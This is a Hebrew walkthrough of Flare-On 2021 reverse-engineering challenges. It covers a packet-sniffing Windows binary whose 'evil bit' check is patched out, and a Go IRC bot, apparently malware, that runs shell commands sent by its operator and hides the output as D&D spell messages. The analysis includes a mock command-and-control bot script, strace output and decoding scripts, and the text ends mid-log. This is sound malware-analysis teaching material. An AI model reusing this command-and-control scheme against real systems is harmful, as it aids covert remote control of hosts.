 שמועבר האובייקט) לתרדים המשותף context-ב שנמצא mutex-ה את תופסת שהפונקציה מסתמן

 .אחרת או כזו בדרך המשותף context-ה לתוך החדש הבאפר את ודוחפת(, לשניהם
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 :הלאה נמשיך

 

 עם שאותחל semaphore-ה את, לכך ובנוסף, תפסה שהיא mutex-ה את משחררת שהפונקציה לראות ניתן

count שה כך, 2 של-count ה של-semaphore ה כמות את בעצם מייצג-buffers לטיפול ומחכים שהגיעו . 

-ה בהן ודלוק, 6352 לפורט שמיועדות UDP פאקטות שמחפש, sniffer למעשה הוא thread_3, כך אם

reserved / evil bit .ה את ומשחרר, משותף למבנה דוחף הוא האלה שבפאקטות המידע את-semaphore 

 :thread_4 את כעת נחקור. זמנית בו בטיפול 26 של maximum count-ל עד, מהן אחת כל עבור המשותף

 

 בכל. אליו לב ששמנו stop flag-ה של עצירה תנאי עם, אינסופית לולאה בתור רץ thread_4 שגם נראה

 mutex-ה ואת( לטיפול שמחכה באפר יש האם שמסמל) semaphore-ה את לתפוס מנסה הוא, איטרציה
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 תפיסת לאחר קורה מה נסתכל. הסטנדרטית בצורה anti debug thread מריץ הוא, כן כמו. מכן לאחר

 :anti debug-ה והרצת המשאבים

 

 המידע את לפרסר ומתחיל, mutex-ה את משחרר, לטיפול הבא הבאפר את שולף הוא, לראות שניתן כפי

 או, 3, 0, 1 להיות שיכול הודעה סוג של ערך הראשונים הבתים 6-ב מכיל שבבאפר שהמידע נראה. שבבאפר

 סוג בכל הטיפול מה להבין ננסה, כך אם(. זהה 3 או 0, 1 שאינם הערכים כל עבור הטיפול) אחר ערך כל

 .דבר של בסופו לדגל אותנו להוביל יכולות מההודעות חלק והאם, הודעה

 יאפשר זה. עליה ולדלג, reserved / evil bit-ה של הבדיקה את בבינארי' פץ'לפצ יהיה עלינו שיקל נוח טריק

 הטיפול של הפונקציונליות כל את לבדוק נוכל, כך. פשוט פייתון מסקריפט לתכנית הודעות לשלוח לנו

 מורכב מאוד להיות שעשוי, הסטטי הרברסינג את שאפשר כמה ולצמצם דינמית בצורה השונות בהודעות

 :כאן

 

 הערך את שמכילה הודעה לשלוח וננסה, התכנית את נריץ', הפאץ של החלה אחרי, כעת

"\x01\x00\x00\x00 "1 מסוג בהודעות בטיפול קורה מה לבדוק כדי . 
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 השני הסוקט על לשלוח עשויה שהתכנית הודעות לתפוס כדי loopback-ה על ונאזין wireshark נפתח

 :שנוצר

 

 

 שבו cmd-ה חלון על נסתכל אם! מגניב. fake flag של שליחה למעשה מטריגה 1 הודעה, לראות שניתן כפי

 :הבא output-ה את נראה, רצה התכנית
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 בכל. מונפצים WinAPIs עם רציניים פלקסים עושים Mandiant-ב של שהחברה נראה. rickroll אכלנו, לול

 שמגניב משהו לגמרי זה אך, זאת ביצעו הם שבה הדרך של ניתוח על נתעכב לא, זמן לבזבז לא כדי, אופן

 . לאתגר קשר בלי לחקור

 יש בהן האם לראות כדי, 3-ו 0 בהודעות הטיפול את נחקור וכעת, הנכון בכיוון שאנחנו נראה, כללי באופן

, שהפעם ונראה, פייתון סקריפט דרך יזומות הודעות שליחת של טריק אותו את ננסה. באמת מעניין משהו

 הפקטות את רק זאת במקום wireshark-ב ורואים, מהתכנית תגובה מקבלים לא אנחנו, הצער למרבה

 :שלחנו שאנחנו

 

 הקצר שהוא מכיוון, 3 בהודעה הטיפול ניתוח עם נתחיל. כלשהו ידני מניתוח מנוס יהיה שלא נראה, כך אם

 :שניהם מבין יותר

 

 מתחיל 8 באופסט שמתחיל ושהתוכן, 0-ל שווה או גדול 6 באופסט שמופיע dword-שה מוודא שהוא נראה

 איתו קורא, קבוע ערך אליו מעתיק, heap-ב כלשהו באפר יוצר הוא, צולחות והבדיקות במידה. MZ הערך עם

 .אותו ומשחרר מידע מנקה מכן ולאחר, פונקציות לשתי
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 לראות כדי תקינה להיות שאמור" x03\x00\x00\x00\x02\x00\x00\x00MZ\" ההודעה את לשלוח ננסה

 :כעת בחזרה מקבלים אנו מה

 

 כדי עצמה הפונקציונליות את לנתח ננסה. ברור לא תוכן עם כלשהי הודעה בחזרה מקבלים שאנו נראה

 :שנקראת הראשונה הפונקציה עם נתחיל. מיצג הזה התוכן מה להבין

 

 שמועבר כלשהו מפתח עם שבבאפר הסטטי התוכן את מפענחת הזו שהפונקציה מעלה מאוד קצר ניתוח

 .לפונקציה
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 :שמועבר המפתח מהו נבדוק

 

 היכן לזהות ננסה. בתכנית רפרנסים של גדול מספר אליו שיש נראה

 :מאותחל הוא

 

 

 deref עושים כך אחר שאליו, לוקאלי למשתנה מועתקת שלו הכתובת, 0 בהודעה בטיפול flow-שבתת נראה

 :והשמה

 

 
 

, 3 בהודעה כך שאחר, מסוים מפתח לאתחל לנו מאפשרת 0 שהודעה קטן לא סיכוי שיש נראה, כך אם

 :0 בהודעה הטיפול את כעת נרברס, לכן. מסוים סטטי תוכן לפענח כדי בו נשתמש

 



 
 

 Flare-On 2021 פתרון אתגרי
www.DigitalWhisper.co.il 

 342  4243 נובמבר ,357גליון 
 

 פעם זאת שיעשה כך סטטי בקונטקסט אותם ושומר, ריצה בזמן סטרינגים 6 מפענח ראשית שהוא נראה

 שמתחילה  הודעה נשלח, הרלוונטיות בנקודות BPs עם דיבאגר נפתח(. לפונקציה הראשונה בקריאה אחת

 :בפועל שמפוענחים הערכים מה ונבדוק, dword 0-ב

 

 :איתם קורה מה נחקור, כעת". g0d"-ו" L0ve", "s3cret", "5Ex" הם שמפוענחים שהסטרינגים נראה, מגניב
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 השוואה שעובר, סטרינג, 8 באופסט מכן ולאחר, מסוים אורך מכיל בפאקטה payload-ה, 6 שבאופסט נראה

 :הבא למקטע נגיע, מצליחה ההשוואה אם. שפוענחו לסטרינגים

 

 את נכתוב אליהם הפרטי במפתח האופסטים של הבחירה את בו שראינו המקטע הוא הזה המקטע, כזכור

 את שמזכיר קוד במקטע שימוש נראה, מצליחה לא ההשוואה אם(. מסוים עיבוד אחרי) שנשלח המפתח

 :ריצה בזמן שפוענח אחר לסטרינג התוכן את משווה רק, עתה זה שניתחנו המקטע
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 אחת שבכל - הודעות 6 באמצעות, הפרטי המפתח את להעביר נוכל 0 הודעה שבאמצעות מסתמן, כך אם

 . ממנו אחר חלק נשלח

 כעת ננסה". g0d"-ו" L0ve", "s3cret", "5Ex: "ריצה בזמן שפענחנו לסטרינגים שווה להיות אמור חלק כל

"(, x03\x00\x00\x00\x02\x00\x00\x00MZ\)" שזיהינו בפורמט 3 הודעה מכן לאחר ולשלוח זאת לעשות

 :קורה מה ולראות

 

 

  !fake flag כמו נראה לא זה הפעם. דגל קיבלנו! ובום

 י:כ ונראה נגיש

n0_mOr3_eXcEpti0n$_p1ea$e@flare-on.com 

 ברברסינג אותו התחלנו - השנה האתגרים משאר יותר מורכב משמעותית היה הזה האתגר. הדגל אכן הוא

 resolving-וב יזומים באקספשנים, VEH-ב שימוש על שהתבססה יחסית מורכבת אובפוסקציה טכניקת של

 כדי, כן כמו. עצמן ולקריאות התכנית של control flow-ל אובפוסקציה לעשות מנת על האשים מבוסס דינמי

 . הכותבים של במימוש באג לפתור צריכים היינו, לקרוס מהבינארי למנוע
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, ורק אז, התחלנו anti-debuggingאחרי שעברנו את זה, היינו צריכים להתגבר על כמות גדולה של שיטות 

לרברס את הבינארי עצמו, שכלל שיטה מגניבה לתפיסת תעבורה. אחרי שהבנו כיצד היא עובדת, עשינו 

patch כדי להתעלם מה-evil bit  והתחלנו לגרום לו לטפל בהודעות, ניתחנו את הטיפול עצמו, והבנו את

 המדויק שיוביל לדגל, וקיבלנו אותו.  payload-ת ההטיפול בכל סוג הודעה. לאחר מכן, יכלנו לשלוח א

על ידי התרכזות בעיקר, שימוש בניתוח דינמי וסטטי בזמנים הנכונים, שימוש באוטומציה היכן שצריך 

)והמנעות משימוש באוטומציה היכן שלא צריך(, הצלחנו להגיע לכל המסקנות המחקריות שהגענו אליהן 

 ה היה באמת אתגר מצוין בעינינו.ובסופו של דבר להשיג את הדגל. ז
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  Wizardcult - 32 אתגר

We have one final task for you. We captured some traffic of a malicious cyber-space computer hacker 

interacting with our web server. Honestly, I padded my resume a bunch to get this job and don't even know 

what a pcap file does, maybe you can figure out what's going on. 

 על מהסתכלות. תקף שהוא web שרת לבין, תוקף בין תקשורת שמכיל PCAP קובץ מקבלים אנו, זה באתגר

 IRC (Internet Relay-ו HTTP פאקטות מכילה ברובה שהתעבורה לראות ניתן, Wireshark-ב PCAP-ה

Chat): 

 

 

, induct בשם בינארי מוריד הוא, דרכו. web-ה שרת על הטיל שהוא web shell-ב משתמש שהתוקף נראה

 ונבחן (File -> Export Objects  -> HTTP) עצמו הבינארי את PCAP-ה מקובץ נחלץ. אותו מריץ מכן ולאחר

 :אותו

# file induct 

induct: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically 

linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped 
 

 !כיף. סימבולים עם ELF קובץ לנו שיש נראה

  

https://en.wikipedia.org/wiki/Internet_Relay_Chat
https://en.wikipedia.org/wiki/Internet_Relay_Chat
https://en.wikipedia.org/wiki/Internet_Relay_Chat
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 :binwalk נריץ

# binwalk induct 

 

DECIMAL       HEXADECIMAL     DESCRIPTION 

------------------------------------------------------------------------

-------- 

0             0x0             ELF, 64-bit LSB executable, AMD x86-64, 

version 1 (SYSV) 

2975001       0x2D6519        Unix path: /golang.org/x/sys/cpu 

2976809       0x2D6C29        Unix path: /golang.org/x/net/idna 

2979737       0x2D7799        Unix path: /golang.org/x/crypto/hkdf 

[...] 

 שנצלול לפני! Goב תמיכה עם IDA Pro 7.6 לנו שיש מזל איזה - Go-ב שכתוב בבינארי שמדובר מסתמן

 לצלול אלא ברירה תהיה שלא נראה, כך אם. פלט שום לנו שאין ונראה, הבינארי את להריץ ננסה, לעומק

, לכן. IRC מעל כלשהי בתקשורת עוסק שהבינארי להבין ניתן, PCAP-מה, זאת עם. הכל לפני סטטית לבינארי

 יותר טוב רקע לנו שיהיה להיות יכול, שם הולך מה להבין וננסה PCAP-ב IRC-ה תקשורת על נסתכל אם

 :עצמו הסטטי לניתוח

 

 :היא המעניינת הראשונה השורה

:irc.local 002 Izahl :Your host is irc.local, running version InspIRCd-2.0  

https://hex-rays.com/products/ida/news/7_6/#:~:text=IDA%20Home%20users).-,Golang%20analysis,-The%20Go%20language
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 בו משתמש שהתוקף IRC-ה שרת את להרים מנת על inspircd-ב השתמשו שהיוצרים להבין ניתן זו משורה

 :הן שמעניינות הבאות השורות. web-ה שרת מול לתקשורת

:irc.local 352 Izahl #dungeon chris 127.0.0.1 irc.local ImpartialObserver H@ :0 chris 
:irc.local 352 Izahl #dungeon user 127.0.0.1 irc.local dung3onm4st3r13 H :0 Example bot 
:irc.local 352 Izahl #dungeon user 172.16.30.245 irc.local Izahl H :0 Example bot  

 :בוטים הם מהם 0-ש משתמשים 3 יש dungeon שבחדר להבין אפשר, אלה משורות

 Izahl - ה שרת על שרץ הבינארי של היוזר-web 

 dung3onm4st3r13 - ודרקונים במבוכים (D&D ,)ה-Dungeon Master (DM) המשחק מנחה הוא 

 :התקשורת ניתוח עם נמשיך

PRIVMSG #dungeon :Hello, I am Izahl, a 5 level Sorceror. I come from the land of Dewsbury-Hankala-
Beckinsdale-Oldham. 
-:dung3onm4st3r13!user@127.0.0.1 PRIVMSG #dungeon :Izahl, what is your quest? 
PRIVMSG #dungeon :My quest is to retrieve the Big Pterodactyl Fossil 
:dung3onm4st3r13!user@127.0.0.1 PRIVMSG #dungeon :Izahl, welcome to the party. 
:dung3onm4st3r13!user@127.0.0.1 PRIVMSG #dungeon :Izahl, you have learned how to create the Potion 
of Acid Resistance. To brew it you must combine magnifying glass, kernels of grain, silver spoon, <long  list 
of random words>, ice, bone, and bone. 
PRIVMSG #dungeon :I have now learned to brew the Potion of Acid Resistance 
:dung3onm4st3r13!user@127.0.0.1 PRIVMSG #dungeon :Izahl, you enter the dungeon Graf's Infernal 
Disco. It is frightening, virtual, danish, flimsy, gruesome great, dark oppressive, bad, average, virtual, last, 
more strange, inhospitable, slimy, average, and few dismal.. 
PRIVMSG #dungeon :I draw my sword and walk forward into Graf's Infernal Disco carefully, my eyes looking 
for traps and my ears listening for enemies. 
:dung3onm4st3r13!user@127.0.0.1 PRIVMSG #dungeon :Izahl, you encounter a Goblin in the distance. It 
stares at you imposingly. The beast smells quite foul. What do you do? 
PRIVMSG #dungeon :I quaff my potion and attack! 
PRIVMSG #dungeon :I cast Moonbeam on the Goblin for 205d205 damage! 
PRIVMSG #dungeon :I cast Reverse Gravity on the Goblin for 253d213 damage! 
PRIVMSG #dungeon :I cast Water Walk on the Goblin for 216d195 damage! 
PRIVMSG #dungeon :I cast Mass Suggestion on the Goblin for 198d253 damage! 
PRIVMSG #dungeon :I cast Planar Ally on the Goblin for 199d207 damage! 
PRIVMSG #dungeon :I cast Water Breathing on the Goblin for 140d210 damage! 
PRIVMSG #dungeon :I cast Conjure Barrage on the Goblin for 197d168 damage! 
PRIVMSG #dungeon :I cast Water Walk on the Goblin for 204d198 damage! 
PRIVMSG #dungeon :I cast Call Lightning on the Goblin for 193d214 damage! 
PRIVMSG #dungeon :I cast Branding Smite on the Goblin! 
PRIVMSG #dungeon :I do believe I have slain the Goblin 

 :ככה הולכת שהשיחה נראה

 איזשהו מתבצע handshake ל הבינארי בין-DM 

 ה-DM (אחר מידע שם מקודד כנראה) מילים של ממש ארוכה רשימה שכולל לשיקוי מתכון שולח 

o מחזיר הבינארי ACK 

 ה-DM (מקודד כנראה גם) מילים של קצרה רשימה שכולל צינוק של תיאור שולח 

o מחזיר הבינארי ACK 

https://www.inspircd.org/
https://en.wikipedia.org/wiki/Dungeon_Master
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 ה-DM בכישוף מפלצת שיש מודיע 

o באמצעותם עושה הוא נזק וכמה השתמש הוא כישופים באיזה הודעות ברצף עונה הבינארי 

 (מידע מקודד שם שגם סביר) אותה מביס שהוא עד, למפלצת

, הללו בהודעות מקודד מידע איזה להבין מעניין אותנו, כך אם

 נמצא שהדגל סביר סיכוי. אותו לפענח שנוכל מנת על, וכיצד

 את נפתח, שביצענו התקשורת ניתוח אחרי, טוב. שם

 :הפונקציות רשימת על קצת ונדפדף, IDA-ב הבינארי

 

 

 

 

 

 

 

 

 :למודולים כלשהי חלוקה שיש לראות אפשר

 comms - התוקף עם התקשורת על אחראי כנראה (ה-DM) 

 potion - שה השיקויים על אחראי כנראה-DM שולח 

 tables - שה הנחנו-DM אותו לפענח שאחראי המודול זה שכנראה כך, מקודד מידע שולח 

 vm - של מימוש כמו נראה VM מסוים 

 (:main.main) הראשית הפונקציה על קצת נסתכל, כעת
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 :הבאים לדברים לב לשים ניתן, ראשונית מהסתכלות

 ש-IDA הסטרינגים את בלהבין משהו לא 

 לתקשורת בה שמשתמשים הספריה IRC 

 ה שרת של הדומיין-IRC איתו לדבר ינסה שהבינארי 

, go-שב מסתבר אז. מוזר ממש נראים הם, מה משום אבל, מסוימים בסטרינגים שימוש רואים אנחנו, כן כמו

 :בזיכרון ככה נראים סטרינגים

type _string struct { 

    elements *byte // underlying bytes 

    len int // number of bytes 

} 

 יש אבל מציק מאוד. אורך עם בתוכו למקום מצביע string וכל תווים של ארוך רצף פשוט יש בבינארי, כך

 ולא שעובד אחד למצוא הצלחנו לא לצערנו. אוטומטית זה את לתקן שאמורים IDAPython של סקריפטים

( סטרינגים של מערך כמו) ספציפיים ולדברים ידנית תיקנו פעם מדי אז, זמן מידי יותר זה על להשקיע רצינו

 .בשבילנו מסודרת בצורה אותם שיחלץ סקריפט רשמנו

 את ולאחריו" PRIVMSGPadstow" הסטרינג את לדוגמה לראות נוכל, הקודמת הפונקציה על נסתכל אם

 אליו ששמור התווים מרצף הראשונים הבתים שבעה ורק אך למעשה הוא שהסטרינג שמסמל מה, 7 הערך

 לשרת מתחברת הראשית הפונקציה, לראות שאפשר כפי. עצמה הפונקציונליות על להסתכל נחזור .מצביע

IRC הודעה קבלת ואירוע, התחברות אירוע - אירועים לשני ונרשמת. 

 :הודעה קבלת באירוע הטיפול על נסתכל

 

https://github.com/lrstanley/girc
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 לניתוח לעבור לנסות חשבנו, כך אם. סטטית לנתח מסובך ממש שיהיה שהבנו, גו של בלגן המון כמו נראה

 של יוזר שמרים ובוט, מתאים IRC שרת - כבד יחסית סטאפ דורש שהוא היא דינמי בניתוח הבעיה. דינמי

DM קוסט יותר הרבה יהיה כנראה זה, המורכבות למרות. מקבל שהוא להודעות נכונה בצורה להגיב שדואג 

 השתמשו שהם לקונפיגורציה בדומה, InspIRCd את נתקין. זה על נלך ולכן, סטטי ניתוח מאשר אפקטיבי

 :בה

sudo apt install inspircd 

 רץ IRC שרת לנו יהיה, וכעת, inspircd הפקודה את נריץ, הדוקומנטציה לפי השרת את לוקאלית נקנפג

 בו משתמש שהקליינט הדומיין את etc/hosts/-ה לקובץ נוסיף. הדינמי לניתוח בו להשתמש שנוכל

 .out of the box יעבדו שדברים מנת על 107.2.2.1-ל אותו ונצביע(, wizardcult.flare-on.com) להתחברות

, האמיתי DM-ה של ההודעות את שיחקה DM של קטן בוט לכתוב נרצה, רץ שרת לנו שיש אחרי, כעת

 קטן פייתון סקריפט נכתוב, כך לשם .לוקאלית, בהסנפה להתנהגות זהה התנהגות לראות שנוכל בתקווה

 :irc בשם בספריה שמשתמש

import irc.bot 

import irc.strings 

from irc.client import ip_numstr_to_quad 

from time import sleep 

from tqdm import tqdm 

 

class TestBot(irc.bot.SingleServerIRCBot): 

    def __init__(self, channel, nickname, server, port=6667): 

        irc.bot.SingleServerIRCBot.__init__( 

            self, [(server, port)], nickname, nickname) 

        self.channel = channel 

 

    def on_nicknameinuse(self, c, e): 

        c.nick(c.get_nickname() + "_") 

 

    def on_welcome(self, c, e): 

        c.join(self.channel) 

 

    def on_pubmsg(self, c, e): 

        msg = e.arguments[0] 

        nick = e.source.nick 

        if msg.startswith("Hello, I am"): 

            c.privmsg(self.channel, nick + ", what is your quest?") 

        elif msg.startswith("My quest is"): 

            c.privmsg(self.channel, nick + ", welcome to the party.") 

            sleep(0.1) 

            ans = nick + ", you have learned how to create the Potion of Acid 

Resistance. To brew it you must combine magnifying glass, [...] and bone." 

            for i in tqdm(range(0, len(ans), 350)): 

                c.privmsg(self.channel, ans[i: i + 350]) 

                sleep(1) 

        elif msg.startswith("I have now learned"): 

            c.privmsg(self.channel, nick + ", you enter the dungeon Graf's 

Infernal Disco. It is frightening, virtual, [...] and few dismal..") 

        elif msg.startswith("I draw my sword and walk"): 

            c.privmsg(self.channel, nick + ", you encounter a Goblin in the 

distance. It stares at you imposingly. The beast smells quite foul. What do you 

do?") 
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        return 

 

    def on_dccmsg(self, c, e): 

        text = e.arguments[0].decode('utf-8') 

        c.privmsg("You said: " + text) 

 

    def on_dccchat(self, c, e): 

        if len(e.arguments) != 2: 

            return 

        args = e.arguments[1].split() 

        if len(args) == 4: 

            try: 

                address = ip_numstr_to_quad(args[2]) 

                port = int(args[3]) 

            except ValueError: 

                return 

            self.dcc_connect(address, port) 

 

def main(): 

    server = '127.0.0.1' 

    port = 6667 

    channel = '#dungeon' 

    nickname = 'dung3onm4st3r13' 

 

    bot = TestBot(channel, nickname, server, port) 

    bot.start() 

 

 

if __name__ == "__main__": 

    main() 

 הבינארי את להריץ נוכל, וכעת, DM-ה של לפונקציונליות mimic עושה הסקריפט, לראות שאפשר כפי

 :בפועל ההתנהגות מה דינמית ולראות, במקביל שלנו הבוט את להרים, לוקאלית

 

 אנל'בצ בחזרה מקבלים לא אנו, ובנוסף", exit code 2" של הדפסה המסך על רואים שאנחנו נראה, מעניין

 exit)" שראינו לסטרינג רפרנסים לחפש ננסה. הריגה הודעת רק אלא, לשרת בדומה damage-ה את IRC-ה
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code 2 )"ביצירת שקשורה גו של ספריה מפונקצית מגיע שזה ונראה, כאן קרה מה להבין מנת על בבינארי 

 לעקוב מנת על strace-ב להשתמש נוכל, כך ולשם, שנוצר הפרוסס מה להבין נרצה, כך אם. פרוססים

 על כאלה באירועים stack trace ולהוציא, execve של syscalls ורק אך לפלטר נרצה. syscalls אחרי בקלות

 :לכך הובילה בבינארי פונקציוליות איזה להבין מנת

#  10_wizardcult strace -f -e execve -ik ./induct 

[00007f560e2462fb] execve("./induct", ["./induct"], 0x7fffe6871810 /* 24 vars */) = 0 

 > /usr/lib/x86_64-linux-gnu/ld-2.31.so() [0x1100] 

strace: Process 1019 attached 

strace: Process 1020 attached 

strace: Process 1021 attached 

strace: Process 1022 attached 

strace: Process 1023 attached 

strace: Process 1024 attached 

[...] 

strace: Process 1026 attached 

[pid  1026] [00000000004aca96] execve("/bin/bash", ["/bin/bash", "-c", "ls /mages_tower"], 

0xc0002008f0 /* 24 vars */) = 0 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(syscall.RawSyscall+0x16) [0xaca96] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(syscall.forkAndExecInChild+0xcf) [0xa4cef] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(syscall.forkExec+0x438) [0xa7978] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(os.startProcess+0x29b) [0xc653b] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(os.StartProcess+0x7c) [0xc61fc] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(os/exec.(*Cmd).Start+0x525) [0x24f945] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(os/exec.(*Cmd).Run+0x2b) [0x24f3ab] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(os/exec.(*Cmd).Output+0x92) [0x250312] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(wizardcult/potion.CommandPotion+0xd7) 

[0x252017] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(wizardcult/comms.ProcessDMMessage+0xa58) 

[0x252d78] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(main.main.func2+0x4f7) [0x2c2297] 

 > 

/mnt/c/CTFs/flareon/2021/10_wizardcult/induct(github.com/lrstanley/girc.HandlerFunc.Execute+0

x5d) [0x22633d] 

 > 

/mnt/c/CTFs/flareon/2021/10_wizardcult/induct(github.com/lrstanley/girc.(*Caller).exec.func1+

0x375) [0x22de55] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(runtime.goexit+0x1) [0x6cec1] 

 :הפקודה את ולהריץ, bin/bash/ של תהליך להרים מנסה הבינארי, לראות שאפשר כפי

ls /mages_tower 

, בשגיאה לטפל כדי, כך אם. המסך על שראינו השגיאה את קיבלנו, בפועל קיימת לא הזו והתיקייה מאחר

 אנחנו, stack trace-מה, כן כמו. כלשהו קובץ בה נזרוק, הדרך ועל, לוקאלית אצלנו הזו התיקייה את נייצר

 לפונקציות מתוכו לצלול נוכל, וכעת, בהודעות בטיפול control flow-ה לגבי אינפורמציה המון מקבלים

 שעכשיו לוודא מנת על, הבינארי את מחדש להריץ, הסטטית הצלילה לפני נרצה, זאת עם. אותנו שמעניינות

 :כלשהו מידע IRC-ה אנל'בצ בחזרה מקבלים וכן, השגיאה את מקבלים לא אנחנו

<Denorim> I cast Divine Favor on the Goblin for 227d224 damage! 

<Denorim> I cast Animate Dead on the Goblin for 225d225 damage! 

<Denorim> I cast Blight on the Goblin for 230d168 damage! 
 

#  ~ ls /mages_tower 

AABBCCDD 
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. בתים 9 הוא ls של output-ה של האורך, לב נשים אם. בפועל תגובה קיבלנו שהפעם נראה אז, מגניב

 אחת שכל, הודעות של רצף בעצם הוא מהשרת מקבלים שאנחנו שהמידע היא, כאן לנו שעלתה התאוריה

-ה של המספריים הערכים באמצעות בתים 0 ועוד, spell-ה שם באמצעות אחד בית - בתים 3 מקודדת

damage .של למיקום בהתאמה שנמצאים, 005-ה ערכי שני היא הזו התאוריה את שמחזקת עדות CC ב-

output של ls. 

, decode להן שעושה סקריפט לכתוב שנוכל מנת על, ההודעות קידוד אופן את לחקור נרצה כעת, כך אם

 בתוך נמצא בהודעות שהטיפול לראות יכולים אנחנו, stack trace-ב. אותן יפענח גם בתקווה, מכן ולאחר

 היא היכן ולראות, stack trace-מה הספציפי לאופסט אליה לקפוץ ננסה. ProcessDMMessage פונקציה

 :CommandPotion-ל הקריאה לאחר IRC מעל שולחת שהיא הסופית ההודעה את בונה

 

 בשם לפונקציה קריאה מתבצעת(, הדינמית הקריאה) potion-ל הקריאה לאחר, לראות שניתן כפי

CastSpells. 

 :בפועל המידע של הקידוד את מממשת היא האם נסתכל

 

, בפועל IRC אנל'בצ כהודעות שראינו לסטרינגים רפרנסים המון הפונקציה בתוך יש, לראות שאפשר כפי

 מנת על עושה היא מה בדיוק להבין נרצה, כך אם. המידע את שמקודדת הפונקציה זו בודאות כמעט, ולכן

 על רצה היא - פשוט די זה, המזל למרבה. שולחת שהיא ההודעות את לפענח שיוכל קטן סקריפט לכתוב
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 סטרינגים של למערך כאופסט הראשון בבית משתמשת(, ניחשנו שכבר כפי) בתים 3 של בקבוצות המידע

(Spells )הבתים לשני שהוא קידוד כל עושה ולא, בבית הערך את ע"חח באופן הנראה ככל שמייצגים 

 מערך את לחלץ כעת נרצה. שלהם הדצימלי הערך בתור לסטרינג אותם דוחפת פשוט, כלומר, האחרונים

 השונות להודעות decode לנו שיעשה סקריפט לכתוב, מכן ולאחר, קטן IDAPython סקריפט עם הסטרינגים

 :Spells-ה בטבלת הסטרינגים את לנו שיחלץ Python סקריפט עם נתחיל. שזיהינו הפורמט סמך על

from ida_bytes import get_qword, get_bytes 

 

TABLE_START = 0x94E5A0 

TABLE_ENTRIES = 0x155 

 

def main(): 

    table = [] 

    for ea in range(TABLE_START, TABLE_START + TABLE_ENTRIES * 2 * 8, 16): 

        # read the string length 

        length = get_qword(ea + 8) 

 

        # read the string 

        string_addr = get_qword(ea) 

        string = get_bytes(string_addr, length) 

 

        table.append(string.decode()) 

 

    print(table) 

 

 

main() 

 :כך שקודדו הודעות לנו שיפענח קטן סקריפט נכתוב, המערך את לנו כשיש, כעת

SPELLS = [ 

    "Eldritch Blast", 

    "Mass Heal", 

    "Fireball", 

    "Dominate Monster", 

    "Detect Magic", 

    "Stone Shape", 

    "Clairvoyance", 

    "Aid", 

    # [...] 

] 

 

messages = [ 

    "I cast Divine Favor on the Goblin for 227d224 damage!", 

    "I cast Animate Dead on the Goblin for 225d225 damage!", 

    "I cast Blight on the Goblin for 230d168 damage!", 

] 

 

decoded = [] 

 

for message in messages: 

    spell = message.split('I cast ')[1].split(' on the')[0] 

    decoded.append(SPELLS.index(spell)) 

    damages = message.split(' for ')[1].split(' ')[0].split('d') 

    decoded += map(int, damages) 

 :היא התוצאה כי ונראה, לוקאלית שקיבלנו המידע על הסקריפט את נריץ

[227, 227, 224, 224, 225, 225, 230, 230, 168] 
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 על מהירה מהסתכלות. כלשהי הצפנה עבר הפקודה מהרצת שהתקבל שהמידע נראה, ציינו שכבר כפי

 באורך מפתח מבוסס צופן או החלפה צופן היא בה שהשתמשו ההצפנה כי נראה, decoding-ה של התוצאה

 הוצפן המידע כיצד לבדוק הקלה הדרך. זהה מוצפן ערך קיבלו זהים ים-plaintext שערכים כיוון, יחיד בית

 .CyberChef-ב שונות אפשריות שיטות עם לשחק היא

 מאחר. שונות שיטות על ברוטפורס לעשות שיודע", Magic" אופרטור מכיל CyberChef, השמחה למרבה

 ונמצא, בו להשתמש ננסה. לעבוד מאוד עשוי שזה להניח סביר, מאוד קצר והמפתח מאוד קצר והמידע

 :0xA2 הערך עם XOR ידי על הוצפן שהמידע מאוד מהר

 

 :עצמה מההסנפה המידע על אותו ונריץ, 0xA2 עם XOR לעשות שלנו הסקריפט את כעת נעדכן אז. מגניב

cool_wizard_meme.png 

induct 

 בשם PNG קובץ, לכך ובנוסף, לנחש יכולנו שכבר כפי induct את מכילה שהתיקייה נראה אז! קול

cool_wizard_meme.png .עם התקשורת של הראשון החלק את טובה די בצורה להבין הצלחנו, כך אם 

 שלנו IRC-ה בוט את לעדכן, דומה ובצורה, התקשורת של השני החלק על להסתכל כעת ננסה. IRC-ה שרת

 :דינמית כאן קורה מה לראות כדי, שם שולח DM-ש ההודעות את לשלוח

:dung3onm4st3r13!user@127.0.0.1 PRIVMSG #dungeon :Izahl, you have learned how to create the Potion 
of Water Breathing. To brew it you must combine magnifying glass, <long  list of random words>, bone, 
and bone. 
PRIVMSG #dungeon :I have now learned to brew the Potion of Water Breathing 
:dung3onm4st3r13!user@127.0.0.1 PRIVMSG #dungeon :Izahl, you enter the dungeon The Sunken Crypt. 
It is flimsy, gruesome great, dark oppressive, bad, average, virtual, last, more strange, inhospitable, slimy, 
average, few dismal, flimsy, dark and gruesome, inhospitable, inhospitable, frightening, last, slimy, nicest, 
solid, dark oppressive, few dismal, deep subterranean, last, gruesome great, average, gruesome great, 
average, cruel, damned, common 
:dung3onm4st3r13!user@127.0.0.1 PRIVMSG #dungeon :, and bad.. 
PRIVMSG #dungeon :I draw my sword and walk forward into The Sunken Crypt carefully, my eyes looking 
for traps and my ears listening for enemies. 
:dung3onm4st3r13!user@127.0.0.1 PRIVMSG #dungeon :Izahl, you encounter a Wyvern in the distance. It 
stares at you imposingly. The beast sits in the water, waiting for you to approach it. What do you do? 
PRIVMSG #dungeon :I quaff my potion and attack! 
PRIVMSG #dungeon :I cast Stinking Cloud on the Wyvern for 116d157 damage! 

https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)Magic(3,true,false,'AABBCCDD%5C%5Cn')&input=MjI3IDIyNyAyMjQgMjI0IDIyNSAyMjUgMjMwIDIzMCAxNjg
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PRIVMSG #dungeon :I cast Dominate Person on the Wyvern for 155d165 damage!<way lot of lines with 
cast and damage> 
